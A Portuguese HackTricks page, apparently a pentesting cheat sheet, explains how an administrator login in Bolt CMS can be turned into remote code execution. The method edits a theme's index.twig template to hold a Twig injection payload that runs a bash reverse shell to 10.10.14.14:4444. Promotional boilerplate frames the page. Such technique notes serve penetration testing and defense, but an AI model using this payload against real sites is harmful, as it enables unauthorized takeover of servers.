Bolt CMS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.

RCE

Depois de fazer login como administrador (vá para /bot para acessar o prompt de login), você pode obter RCE no Bolt CMS:

Selecione Configuration -> View Configuration -> Main Configuration ou vá para o caminho da URL /bolt/file-edit/config?file=/bolt/config.yaml
- Verifique o valor do tema

Selecione File management -> View & edit templates
- Selecione o tema base encontrado no passo anterior (base-2021 neste caso) e selecione index.twig
- No meu caso, isso está no caminho da URL /bolt/file-edit/themes?file=/base-2021/index.twig
Defina sua carga útil neste arquivo via injeção de modelo (Twig), como: {{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
- E salve as alterações

Limpe o cache em Maintenance -> Clear the cache
Acesse novamente a página como um usuário regular e a carga útil deve ser executada

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.